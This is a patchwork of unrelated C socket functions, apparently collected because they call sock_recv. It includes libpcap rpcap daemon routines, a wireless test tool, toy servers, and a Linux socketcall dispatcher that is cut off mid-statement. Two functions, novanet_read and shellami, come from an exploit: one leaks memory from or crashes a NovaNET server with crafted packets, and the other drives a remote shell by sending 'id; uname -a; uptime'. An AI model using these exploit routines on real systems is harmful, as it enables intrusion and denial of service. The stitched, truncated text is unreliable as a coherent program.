int main(int argc, char *argv[]){ int sfd; sfd = tcpsock_create(); sock_setopt(sfd); sock_listen(sfd, SERVER_PORT, BACKLOG); fd_setnb(sfd); int evfd; evfd = ev_create(); ev_add(evfd, sfd, EV_IN); struct ev_event events[MAX_EVENT]; int n; int i; int cfd; unsigned char buf[BUF_SIZE]; ssize_t rbytes; while(1) { n = ev_wait(evfd, events, MAX_EVENT, -1); printf("%d\n", n); for(i=0; i < n; i++){ printf("%d, %d, %d, %d, %d\n", events[i].events, events[i].fd, events[i].readable, events[i].writable, events[i].closable); if (events[i].fd == sfd) { while(1) { cfd = sock_accept(sfd); if (cfd == -1) { break; } fd_setnb(cfd); ev_add(evfd, cfd, EV_IN); } } else if (events[i].closable == true) { close(events[i].fd); } else if (events[i].readable == true) { while(1) { rbytes = sock_recv(events[i].fd, buf, BUF_SIZE); if (rbytes == -1) { break; } buf[rbytes] = '\0'; printf("%s", buf); } } } } }
void do_reception(void) { unsigned int maxtransfer; #ifdef OLD unsigned int newtransfer; int status; unsigned int chars_avail, i; #endif sock_tick( s, &status ); #ifdef OLD if ( sock_dataready( s )) { if (rec_out > rec_in ) { /* we can fill intermediate portion of buffer */ maxtransfer = rec_out - rec_in; } else { /* we fill end of buffer and leave start for next attempt */ maxtransfer = RECEIVE_BUF_SIZE - rec_in; } if (maxtransfer) { rec_in += sock_fastread( s, &receive_buffer[ rec_in ], maxtransfer ); if ( rec_in >= RECEIVE_BUF_SIZE ) rec_in -= RECEIVE_BUF_SIZE; } } #else maxtransfer = RECEIVE_BUF_SIZE - rec_in; if (rec_out > rec_in) maxtransfer = rec_out - rec_in; maxtransfer = sock_recv( s, &receive_buffer[ rec_in ], maxtransfer ); if (maxtransfer) rec_in = (rec_in + maxtransfer) % RECEIVE_BUF_SIZE ; #endif OLD /* return( 0 ); */ return; sock_err: switch (status) { case 1 : outs("\n\r\7[??Host closed connection??]\n\r"); break; case-1 : outs("\n\r\7[??Host reset connection??]\n\r"); break; } s = NULL; sock_status = 0; }
static void run_recv() { int sock; int ret; char *buf; printf("Start server on port %d. My PSID: %d\n", arg_serverport, PSP_GetNodeID()); sock = socket(PF_P4S , 0, 0); if (!sock) goto err_socket; ret = bind_port(sock, arg_serverport); if (ret) goto err_bind; buf = (char*)malloc(SERVER_BUFLEN); if (!buf) goto err_malloc; while (1) { uint16_t src; int len; len = sock_recv(sock, &src, buf, SERVER_BUFLEN); if (arg_verbose > 0) { printf("Recv %d bytes from %d\n",len ,src); if ((arg_verbose > 1) && (len > 0)) { if (arg_verbose > 2) { dump(buf, 0, len, 0, 16, "recv"); } else { printf(":%s:\n", dumpstr(buf, MIN(len,32))); } } } } return; err_socket: perror("socket()"); exit(1); err_bind: perror("bind()"); exit(1); err_malloc: perror("malloc()"); exit(1); }
int ssds_check_repo(int socket, char **message) { char *buffer = sock_recv(socket); SsdsJsonRead *json = ssds_js_rd_init(); int rc = -1; ssds_js_rd_parse(buffer, json); rc = ssds_js_rd_get_code(json); if(rc != ANSWER_OK) { *message = ssds_js_rd_get_message(json); } return rc; }
static void novanet_read (char *host, void *start, void *end, int is_dos) { int sock, i, num_hits; char buf[BUF_SIZE], rbuf[BUF_SIZE]; novanet_pkt_init (buf); start = (void *) NOVANET_CALC_INT (start); end = (void *) NOVANET_CALC_INT (end); if (!is_dos) printf ("start: %p end: %p\n", start, end); num_hits = is_dos ? 1 : (end - start); printf ("+hitting %s:%d. (%d times)\n", host, NOVANET_TCP_PORT, num_hits); for (i = 0; i < num_hits; i++, start++) { sock = sockami (host, NOVANET_TCP_PORT); if (sock == -1) break; NOVANET_SET_INT (buf, (is_dos ? NOVANET_CALC_INT (0xdeadbeef) : (unsigned int) start)); sock_send (sock, buf, sizeof buf); if (!is_dos) { sock_recv (sock, rbuf, sizeof rbuf); write (fileno (stderr), &rbuf[NOVANET_INT_IDX], sizeof (int)); usleep (USLEEP_TIME); close (sock); if (!((i + 1) % 8)) printf ("..%d", i + 1); fflush (stdout); } } printf ("\n"); }
static void shellami (int fd) { int n; fd_set rset; char rbuf[1024], *cmd = "id; uname -a; uptime\n"; sock_send (fd, cmd, strlen (cmd)); while (1) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); if (select (fd + 1, &rset, NULL, NULL, NULL) < 0) { fprintf (stderr, "shellami: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if (FD_ISSET (fd, &rset)) { if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0) { fprintf (stderr, "shellami: connection closed by foreign host.\n"); exit (EXIT_SUCCESS); } rbuf[n] = '\0'; printf ("%s", rbuf); fflush (stdout); } if (FD_ISSET (STDIN_FILENO, &rset)) { if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0) { rbuf[n] = '\0'; sock_send (fd, rbuf, n); } } } }
void *srv_test_handler(void *arg) { char *request; char buf[1024]; unsigned int i, id; sock_t *s; id = (unsigned int)arg; s = &sock[id]; pthread_mutex_lock(&mt[id]); request = strdup("GET / HTTP/1.0\r\n\r\n"); for (i = 0; i < SRV_TEST_ITERS; i++) { memset(buf, '\0', sizeof buf); if (!sock_connect(s)) ERRF(__FILE__, __LINE__, "connecting to host!\n"); if (!sock_send(s, request, strlen(request))) ERRF(__FILE__, __LINE__, "sending request!\n"); usleep(500); if (!sock_recv(s, buf, sizeof buf)) ERRF(__FILE__, __LINE__, "getting response!\n"); sock_disconnect(s); usleep(500); printf("%s\n", buf); } pthread_mutex_unlock(&mt[id]); free(request); return NULL; }
/*! \brief Received the sampling parameters from remote host and it stores in the pcap_t structure. */ int daemon_setsampling(SOCKET sockctrl, struct rpcap_sampling *samp_param, int plen, char *errbuf) { struct rpcap_header header; struct rpcap_sampling rpcap_samp; int nread; // number of bytes of the payload read from the socket if ( ( nread= sock_recv(sockctrl, (char *) &rpcap_samp, sizeof(struct rpcap_sampling), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) goto error; // Save these settings in the pcap_t samp_param->method= rpcap_samp.method; samp_param->value= ntohl(rpcap_samp.value); // A response is needed, otherwise the other host does not know that everything went well rpcap_createhdr( &header, RPCAP_MSG_SETSAMPLING_REPLY, 0, 0); if ( sock_send(sockctrl, (char *) &header, sizeof (struct rpcap_header), errbuf, PCAP_ERRBUF_SIZE) ) goto error; if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); return 0; error: if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); rpcap_senderror(sockctrl, errbuf, PCAP_ERR_SETSAMPLING, NULL); return -1; }
int main (int argc, char **argv) { int recvbytes=0; int chunkLen = 0; unsigned int readLength = 0; unsigned char *bufpos; int reducedARTPacket = 1; A_UINT8 line[LINE_ARRAY_SIZE]; int frag_size = 768; int port = ART_PORT; struct sigaction sa; DPRINTF("setup signal\n"); memset(&sa, 0, sizeof(struct sigaction)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = cleanup; DPRINTF("before call sigaction\n"); sigaction(SIGTERM, &sa, NULL); sigaction(SIGINT, &sa, NULL); sigaction(SIGHUP, &sa, NULL); sigaction(SIGABRT, &sa, NULL); cid = sid = aid = -1; DPRINTF("setup ifname\n"); memset(ar6kifname, '\0', sizeof(ar6kifname)); if (argc == 1 ) { print_help(argv[0]); return -1; } if (argc > 1 ) { strcpy(ar6kifname, argv[1]); } else { strcpy(ar6kifname, "wlan0"); } if (argc > 2) { frag_size = atoi(argv[2]); } if (argc > 3) { port = atoi(argv[3]); } if (port == 0) port = ART_PORT; else if (port < 0 || port >65534) { printf("Invalid port number\n"); goto main_exit; } if ((frag_size == 0) || ((frag_size % 4) != 0)) { printf("Invalid fragsize, should be multiple of 4\n"); goto main_exit; } aid = socket(AF_INET, SOCK_DGRAM, 0); if (aid < 0) { printf("Create socket to AR6002 failed\n"); goto main_exit; } DPRINTF("try to open htc\n"); if (art_htc_raw_open(aid) < 0) { printf("HTC RAW open on %s interface failed\n", argv[1]); goto main_exit; } DPRINTF("open sock\n"); sid = sock_init(port); if (sid < 0) { printf("Create socket to ART failed\n"); cleanup(0); return -1; } if ((recvbytes=sock_recv(cid, line, LINE_ARRAY_SIZE)) < 0) { printf("Cannot nego packet size\n"); cleanup(0); return -1; } DPRINTF("Get nego bytes %d\n", recvbytes); if (1 == (*(unsigned int *)line)) { reducedARTPacket = 1; } else { reducedARTPacket = 0; } sock_send(cid, &(line[0]), 1); DPRINTF("Ready to loop for art packet reduce %d\n", reducedARTPacket); while (1) { /*DPRINTF("wait for tcp socket\n"); */ if ((recvbytes = sock_recv(cid, line, LINE_ARRAY_SIZE)) < 0) { printf("Cannot recv packet size %d\n", recvbytes); cleanup(0); return -1; } if (!reducedARTPacket) { bufpos = line; while (recvbytes) { if (recvbytes > frag_size) { chunkLen = frag_size; } else { chunkLen = recvbytes; } art_htc_raw_write(aid, bufpos, chunkLen); recvbytes-=chunkLen; bufpos+=chunkLen; } } else { /*DPRINTF("Get %d byte from tcp and Write to htc\n", recvbytes); */ art_htc_raw_write(aid, line, recvbytes); while (frag_size == recvbytes) { sock_send(cid, &(line[0]), 1); if ((recvbytes = sock_recv(cid, line, LINE_ARRAY_SIZE)) < 0) { printf("Cannot recv packet size %d\n", recvbytes); cleanup(0); return -1; } /*RETAILMSG (1,(L"ART_Receive %d\n",recvbytes)); */ /*DPRINTF("Get %d from next tcp and Write to htc\n", recvbytes); */ if (0xbeef == *((A_UINT16 *)line)) { /* end marker */ break; } else art_htc_raw_write(aid, line, recvbytes); } } art_htc_raw_read(aid, (unsigned char*)&readLength, 4); art_htc_raw_read(aid, line, readLength); if ((REG_WRITE_CMD_ID != line[0]) && (MEM_WRITE_CMD_ID != line[0]) && (M_PCI_WRITE_CMD_ID != line[0]) && (M_PLL_PROGRAM_CMD_ID != line[0]) && (M_CREATE_DESC_CMD_ID != line[0])) { /*DPRINTF("Send back ART packet %d\n", readLength); */ sock_send(cid, line, readLength); } else { /*DPRINTF("Send back ART packet ACK Command %d\n", (int)/line[0]); */ sock_send(cid, &(line[0]), 1); } } main_exit: printf("Normal exit\n"); cleanup(0); return 0; }
/*! \brief Main serving funtion This function is the one which does the job. It is the main() of the child thread, which is created as soon as a new connection is accepted. \param ptr: a void pointer that keeps the reference of the 'pthread_chain' value corrisponding to this thread. This variable is casted into a 'pthread_chain' value in order to retrieve the socket we're currently using, the therad ID, and some pointers to the previous and next elements into this struct. \return None. */ void daemon_serviceloop( void *ptr ) { char errbuf[PCAP_ERRBUF_SIZE + 1]; // keeps the error string, prior to be printed char source[PCAP_BUF_SIZE]; // keeps the string that contains the interface to open struct rpcap_header header; // RPCAP message general header pcap_t *fp= NULL; // pcap_t main variable struct daemon_slpars *pars; // parameters related to the present daemon loop pthread_t threaddata= 0; // handle to the 'read from daemon and send to client' thread unsigned int ifdrops, ifrecv, krnldrop, svrcapt; // needed to save the values of the statistics struct rpcap_sampling samp_param; // in case sampling has been requested // Structures needed for the select() call fd_set rfds; // set of socket descriptors we have to check struct timeval tv; // maximum time the select() can block waiting for data int retval; // select() return value pars= (struct daemon_slpars *) ptr; *errbuf= 0; // Initialize errbuf // If we're in active mode, this is not a separate thread if (! pars->isactive) { // Modify thread params so that it can be killed at any time if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL) ) goto end; if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL) ) goto end; } auth_again: // If we're in active mode, we have to check for the initial timeout if (!pars->isactive) { FD_ZERO(&rfds); // We do not have to block here tv.tv_sec = RPCAP_TIMEOUT_INIT; tv.tv_usec = 0; FD_SET(pars->sockctrl, &rfds); retval = select(pars->sockctrl + 1, &rfds, NULL, NULL, &tv); if (retval == -1) { sock_geterror("select(): ", errbuf, PCAP_ERRBUF_SIZE); rpcap_senderror(pars->sockctrl, errbuf, PCAP_ERR_NETW, NULL); goto end; } // The timeout has expired // So, this was a fake connection. Drop it down if (retval == 0) { rpcap_senderror(pars->sockctrl, "The RPCAP initial timeout has expired", PCAP_ERR_INITTIMEOUT, NULL); goto end; } } retval= daemon_checkauth(pars->sockctrl, pars->nullAuthAllowed, errbuf); if (retval) { // the other user requested to close the connection // It can be also the case of 'active mode', in which this host is not // allowed to connect to the other peer; in that case, it drops down the connection if (retval == -3) goto end; // It can be an authentication failure or an unrecoverable error rpcap_senderror(pars->sockctrl, errbuf, PCAP_ERR_AUTH, NULL); // authentication error if (retval == -2) { // suspend for 1 sec // WARNING: this day is inserted only in this point; if the user drops down the connection // and it connects again, this suspension time does not have any effects. pthread_suspend(RPCAP_SUSPEND_WRONGAUTH*1000); goto auth_again; } // Unrecoverable error if (retval == -1) goto end; } while (1) { int retval; errbuf[0]= 0; // clear errbuf // Avoid zombies connections; check if the connection is opens but no commands are performed // from more than RPCAP_TIMEOUT_RUNTIME // Conditions: // - I have to be in normal mode (no active mode) // - if the device is open, I don't have to be in the middle of a capture (fp->rmt_sockdata) // - if the device is closed, I have always to check if a new command arrives // // Be carefully: the capture can have been started, but an error occurred (so fp != NULL, but // rmt_sockdata is 0 if ( (!pars->isactive) && ( (fp == NULL) || ( (fp != NULL) && (fp->rmt_sockdata == 0) ) )) { // Check for the initial timeout FD_ZERO(&rfds); // We do not have to block here tv.tv_sec = RPCAP_TIMEOUT_RUNTIME; tv.tv_usec = 0; FD_SET(pars->sockctrl, &rfds); retval = select(pars->sockctrl + 1, &rfds, NULL, NULL, &tv); if (retval == -1) { sock_geterror("select(): ", errbuf, PCAP_ERRBUF_SIZE); rpcap_senderror(pars->sockctrl, errbuf, PCAP_ERR_NETW, NULL); goto end; } // The timeout has expired // So, this was a fake connection. Drop it down if (retval == 0) { SOCK_ASSERT("The RPCAP runtime timeout has expired", 1); rpcap_senderror(pars->sockctrl, "The RPCAP runtime timeout has expired", PCAP_ERR_RUNTIMETIMEOUT, NULL); goto end; } } if (sock_recv(pars->sockctrl, (char *) &header, sizeof(struct rpcap_header), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE) == -1) goto end; // Checks if the message is correct // In case it is wrong, it discard the data retval= rpcap_checkmsg(errbuf, pars->sockctrl, &header, RPCAP_MSG_FINDALLIF_REQ, RPCAP_MSG_OPEN_REQ, RPCAP_MSG_STARTCAP_REQ, RPCAP_MSG_UPDATEFILTER_REQ, RPCAP_MSG_STATS_REQ, RPCAP_MSG_ENDCAP_REQ, RPCAP_MSG_SETSAMPLING_REQ, RPCAP_MSG_CLOSE, RPCAP_MSG_ERROR, 0); switch (retval) { case -3: // Unrecoverable network error goto end; // Do nothing; just exit from findalldevs; the error code is already into the errbuf case -2: // The other endpoint send a message that is not allowed here { rpcap_senderror(pars->sockctrl, "The RPCAP daemon received a message that is not valid", PCAP_ERR_WRONGMSG, errbuf); } case -1: // The other endpoint has a version number that is not compatible with our { rpcap_senderror(pars->sockctrl, "RPCAP version number mismatch", PCAP_ERR_WRONGVER, errbuf); } break; case RPCAP_MSG_FINDALLIF_REQ: { // Checks that the header does not contain other data; if so, discard it if (ntohl(header.plen)) sock_discard(pars->sockctrl, ntohl(header.plen), errbuf, PCAP_ERRBUF_SIZE); if (daemon_findalldevs(pars->sockctrl, errbuf) ) SOCK_ASSERT(errbuf, 1); break; }; case RPCAP_MSG_OPEN_REQ: { retval= daemon_opensource(pars->sockctrl, source, sizeof(source), ntohl(header.plen), errbuf); if (retval == -1) SOCK_ASSERT(errbuf, 1); break; }; case RPCAP_MSG_SETSAMPLING_REQ: { retval= daemon_setsampling(pars->sockctrl, &samp_param, ntohl(header.plen), errbuf); if (retval == -1) SOCK_ASSERT(errbuf, 1); break; }; case RPCAP_MSG_STARTCAP_REQ: { fp= daemon_startcapture(pars->sockctrl, &threaddata, source, pars->isactive, &samp_param, ntohl(header.plen), errbuf); if (fp == NULL) SOCK_ASSERT(errbuf, 1); break; }; case RPCAP_MSG_UPDATEFILTER_REQ: { if (fp) { if (daemon_updatefilter(fp, ntohl(header.plen)) ) SOCK_ASSERT(fp->errbuf, 1); } else { rpcap_senderror(pars->sockctrl, "Device not opened. Cannot update filter", PCAP_ERR_UPDATEFILTER, errbuf); } break; }; case RPCAP_MSG_STATS_REQ: { // Checks that the header does not contain other data; if so, discard it if (ntohl(header.plen)) sock_discard(pars->sockctrl, ntohl(header.plen), errbuf, PCAP_ERRBUF_SIZE); if (fp) { if (daemon_getstats(fp) ) SOCK_ASSERT(fp->errbuf, 1); } else { SOCK_ASSERT("GetStats: this call should't be allowed here", 1); if (daemon_getstatsnopcap(pars->sockctrl, ifdrops, ifrecv, krnldrop, svrcapt, errbuf) ) SOCK_ASSERT(errbuf, 1); // we have to keep compatibility with old applications, which ask for statistics // also when the capture has already stopped // rpcap_senderror(pars->sockctrl, "Device not opened. Cannot get statistics", PCAP_ERR_GETSTATS, errbuf); } break; }; case RPCAP_MSG_ENDCAP_REQ: // The other endpoint close the current capture session { if (fp) { struct pcap_stat stats; // Save statistics (we can need them in the future) if (pcap_stats(fp, &stats) ) { ifdrops= stats.ps_ifdrop; ifrecv= stats.ps_recv; krnldrop= stats.ps_drop; svrcapt= fp->md.TotCapt; } else ifdrops= ifrecv= krnldrop= svrcapt= 0; if ( daemon_endcapture(fp, &threaddata, errbuf) ) SOCK_ASSERT(errbuf, 1); fp= NULL; } else { rpcap_senderror(pars->sockctrl, "Device not opened. Cannot close the capture", PCAP_ERR_ENDCAPTURE, errbuf); } break; }; case RPCAP_MSG_CLOSE: // The other endpoint close the pcap session { // signal to the main that the user closed the control connection // This is used only in case of active mode pars->activeclose= 1; SOCK_ASSERT("The other end system asked to close the connection.", 1); goto end; break; }; case RPCAP_MSG_ERROR: // The other endpoint reported an error { // Do nothing; just exit; the error code is already into the errbuf SOCK_ASSERT(errbuf, 1); break; }; default: { SOCK_ASSERT("Internal error.", 1); break; }; } } end: // The child thread is about to end // perform pcap_t cleanup, in case it has not been done if (fp) { if (threaddata) { pthread_cancel(threaddata); threaddata= 0; } if (fp->rmt_sockdata) { sock_close(fp->rmt_sockdata, NULL, 0); fp->rmt_sockdata= 0; } pcap_close(fp); fp= NULL; } // Print message and exit SOCK_ASSERT("I'm exiting from the child loop", 1); SOCK_ASSERT(errbuf, 1); if (!pars->isactive) { if (pars->sockctrl) sock_close(pars->sockctrl, NULL, 0); free(pars); #ifdef WIN32 pthread_exit(0); #endif } }
/* \param plen: the length of the current message (needed in order to be able to discard excess data in the message, if present) */ pcap_t *daemon_startcapture(SOCKET sockctrl, pthread_t *threaddata, char *source, int active, struct rpcap_sampling *samp_param, uint32 plen, char *errbuf) { char portdata[PCAP_BUF_SIZE]; // temp variable needed to derive the data port char peerhost[PCAP_BUF_SIZE]; // temp variable needed to derive the host name of our peer pcap_t *fp= NULL; // pcap_t main variable unsigned int nread; // number of bytes of the payload read from the socket char sendbuf[RPCAP_NETBUF_SIZE]; // temporary buffer in which data to be sent is buffered int sendbufidx= 0; // index which keeps the number of bytes currently buffered // socket-related variables SOCKET sockdata= 0; // socket descriptor of the data connection struct addrinfo hints; // temp, needed to open a socket connection struct addrinfo *addrinfo; // temp, needed to open a socket connection struct sockaddr_storage saddr; // temp, needed to retrieve the network data port chosen on the local machine socklen_t saddrlen; // temp, needed to retrieve the network data port chosen on the local machine pthread_attr_t detachedAttribute; // temp, needed to set the created thread as detached // RPCAP-related variables struct rpcap_startcapreq startcapreq; // start capture request message struct rpcap_startcapreply *startcapreply; // start capture reply message int serveropen_dp; // keeps who is going to open the data connection addrinfo= NULL; if ( (nread= sock_recv(sockctrl, (char *) &startcapreq, sizeof(struct rpcap_startcapreq), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) return NULL; startcapreq.flags= ntohs(startcapreq.flags); // Open the selected device if ( (fp= pcap_open(source, ntohl(startcapreq.snaplen), (startcapreq.flags & RPCAP_STARTCAPREQ_FLAG_PROMISC) ? PCAP_OPENFLAG_PROMISCUOUS : 0 /* local device, other flags not needed */, ntohl(startcapreq.read_timeout), NULL /* local device, so no auth */, errbuf)) == NULL) { rpcap_senderror(sockctrl, errbuf, PCAP_ERR_OPEN, NULL); return NULL; } // Apply sampling parameters fp->rmt_samp.method= samp_param->method; fp->rmt_samp.value= samp_param->value; /* We're in active mode if: - we're using TCP, and the user wants us to be in active mode - we're using UDP */ serveropen_dp= (startcapreq.flags & RPCAP_STARTCAPREQ_FLAG_SERVEROPEN) || (startcapreq.flags & RPCAP_STARTCAPREQ_FLAG_DGRAM) || active; /* Gets the sockaddr structure referred to the other peer in the ctrl connection We need that because: - if we're in passive mode, we need to know the address family we want to use (the same used for the ctrl socket) - if we're in active mode, we need to know the network address of the other host we want to connect to */ saddrlen = sizeof(struct sockaddr_storage); if (getpeername(sockctrl, (struct sockaddr *) &saddr, &saddrlen) == -1) { sock_geterror("getpeername(): ", errbuf, PCAP_ERRBUF_SIZE); goto error; } memset(&hints, 0, sizeof(struct addrinfo) ); hints.ai_socktype = (startcapreq.flags & RPCAP_STARTCAPREQ_FLAG_DGRAM) ? SOCK_DGRAM : SOCK_STREAM; hints.ai_family = saddr.ss_family; // Now we have to create a new socket to send packets if (serveropen_dp) // Data connection is opened by the server toward the client { sprintf(portdata, "%d", ntohs(startcapreq.portdata) ); // Get the name of the other peer (needed to connect to that specific network address) if (getnameinfo( (struct sockaddr *) &saddr, saddrlen, peerhost, sizeof(peerhost), NULL, 0, NI_NUMERICHOST) ) { sock_geterror("getnameinfo(): ", errbuf, PCAP_ERRBUF_SIZE); goto error; } if (sock_initaddress(peerhost, portdata, &hints, &addrinfo, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; if ( (sockdata= sock_open(addrinfo, SOCKOPEN_CLIENT, 0, errbuf, PCAP_ERRBUF_SIZE)) == -1) goto error; } else // Data connection is opened by the client toward the server { hints.ai_flags = AI_PASSIVE; // Let's the server socket pick up a free network port for us if (sock_initaddress(NULL, "0", &hints, &addrinfo, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; if ( (sockdata= sock_open(addrinfo, SOCKOPEN_SERVER, 1 /* max 1 connection in queue */, errbuf, PCAP_ERRBUF_SIZE)) == -1) goto error; // get the complete sockaddr structure used in the data connection saddrlen = sizeof(struct sockaddr_storage); if (getsockname(sockdata, (struct sockaddr *) &saddr, &saddrlen) == -1) { sock_geterror("getsockname(): ", errbuf, PCAP_ERRBUF_SIZE); goto error; } // Get the local port the system picked up if (getnameinfo( (struct sockaddr *) &saddr, saddrlen, NULL, 0, portdata, sizeof(portdata), NI_NUMERICSERV) ) { sock_geterror("getnameinfo(): ", errbuf, PCAP_ERRBUF_SIZE); goto error; } } // addrinfo is no longer used freeaddrinfo(addrinfo); addrinfo= NULL; // save the socket ID for the next calls fp->rmt_sockctrl= sockctrl; // Needed to send an error on the ctrl connection // Now I can set the filter if ( daemon_unpackapplyfilter(fp, &nread, &plen, errbuf) ) goto error; // Now, I can send a RPCAP start capture reply message if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_STARTCAP_REPLY, 0, sizeof(struct rpcap_startcapreply) ); startcapreply= (struct rpcap_startcapreply *) &sendbuf[sendbufidx]; if ( sock_bufferize(NULL, sizeof(struct rpcap_startcapreply), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; memset(startcapreply, 0, sizeof(struct rpcap_startcapreply) ); startcapreply->bufsize= htonl(fp->bufsize); if (!serveropen_dp) { unsigned short port = (unsigned short)strtoul(portdata,NULL,10); startcapreply->portdata= htons(port); } if ( sock_send(sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; if (!serveropen_dp) { SOCKET socktemp; // We need another socket, since we're going to accept() a connection // Connection creation saddrlen = sizeof(struct sockaddr_storage); socktemp= accept(sockdata, (struct sockaddr *) &saddr, &saddrlen); if (socktemp == -1) { sock_geterror("accept(): ", errbuf, PCAP_ERRBUF_SIZE); goto error; } // Now that I accepted the connection, the server socket is no longer needed sock_close(sockdata, errbuf, PCAP_ERRBUF_SIZE); sockdata= socktemp; } fp->rmt_sockdata= sockdata; /* GV we need this to create the thread as detached. */ /* GV otherwise, the thread handle is not destroyed */ pthread_attr_init(&detachedAttribute); pthread_attr_setdetachstate(&detachedAttribute, PTHREAD_CREATE_DETACHED); // Now we have to create a new thread to receive packets if ( pthread_create(threaddata, &detachedAttribute, (void *) daemon_thrdatamain, (void *) fp) ) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "Error creating the data thread"); pthread_attr_destroy(&detachedAttribute); goto error; } pthread_attr_destroy(&detachedAttribute); // Check if all the data has been read; if not, discard the data in excess if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); return fp; error: rpcap_senderror(sockctrl, errbuf, PCAP_ERR_STARTCAPTURE, NULL); if (addrinfo) freeaddrinfo(addrinfo); if (threaddata) pthread_cancel(*threaddata); if (sockdata) sock_close(sockdata, NULL, 0); // Check if all the data has been read; if not, discard the data in excess if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); if (fp) { pcap_close(fp); fp= NULL; } return NULL; }
/* \param plen: the length of the current message (needed in order to be able to discard excess data in the message, if present) */ int daemon_opensource(SOCKET sockctrl, char *source, int srclen, uint32 plen, char *errbuf) { pcap_t *fp= NULL; // pcap_t main variable unsigned int nread; // number of bytes of the payload read from the socket char sendbuf[RPCAP_NETBUF_SIZE]; // temporary buffer in which data to be sent is buffered int sendbufidx= 0; // index which keeps the number of bytes currently buffered struct rpcap_openreply *openreply; // open reply message strcpy(source, PCAP_SRC_IF_STRING); if (srclen <= (int) (strlen(PCAP_SRC_IF_STRING) + plen) ) { rpcap_senderror(sockctrl, "Source string too long", PCAP_ERR_OPEN, NULL); return -1; } if ( (nread= sock_recv(sockctrl, &source[strlen(PCAP_SRC_IF_STRING)], plen, SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) return -1; // Check if all the data has been read; if not, discard the data in excess if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); // Puts a '0' to terminate the source string source[strlen(PCAP_SRC_IF_STRING) + plen]= 0; // Open the selected device // This is a fake open, since we do that only to get the needed parameters, then we close the device again if ( (fp= pcap_open(source, 1500 /* fake snaplen */, 0 /* no promis */, 1000 /* fake timeout */, NULL /* local device, so no auth */, errbuf)) == NULL) { rpcap_senderror(sockctrl, errbuf, PCAP_ERR_OPEN, NULL); return -1; } // Now, I can send a RPCAP open reply message if ( sock_bufferize(NULL, sizeof(struct rpcap_header), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; rpcap_createhdr( (struct rpcap_header *) sendbuf, RPCAP_MSG_OPEN_REPLY, 0, sizeof(struct rpcap_openreply) ); openreply= (struct rpcap_openreply *) &sendbuf[sendbufidx]; if ( sock_bufferize(NULL, sizeof(struct rpcap_openreply), NULL, &sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; memset(openreply, 0, sizeof(struct rpcap_openreply) ); openreply->linktype= htonl(fp->linktype); openreply->tzoff= htonl(fp->tzoff); if ( sock_send(sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1) goto error; // I have to close the device again, since it has been opened with wrong parameters pcap_close(fp); fp= NULL; return 0; error: if (fp) { pcap_close(fp); fp= NULL; } return -1; }
/* * System call vectors. Since I (RIB) want to rewrite sockets as streams, * we have this level of indirection. Not a lot of overhead, since more of * the work is done via read/write/select directly. */ asmlinkage int sys_socketcall(int call, unsigned long *args) { int er; switch(call) { case SYS_SOCKET: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_socket(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2))); case SYS_BIND: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_bind(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_CONNECT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_connect(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_LISTEN: er=verify_area(VERIFY_READ, args, 2 * sizeof(long)); if(er) return er; return(sock_listen(get_fs_long(args+0), get_fs_long(args+1))); case SYS_ACCEPT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_accept(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETSOCKNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getsockname(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETPEERNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getpeername(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_SOCKETPAIR: er=verify_area(VERIFY_READ, args, 4 * sizeof(long)); if(er) return er; return(sock_socketpair(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (unsigned long *)get_fs_long(args+3))); case SYS_SEND: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_send(get_fs_long(args+0), (void *)get_fs_long(args+1), 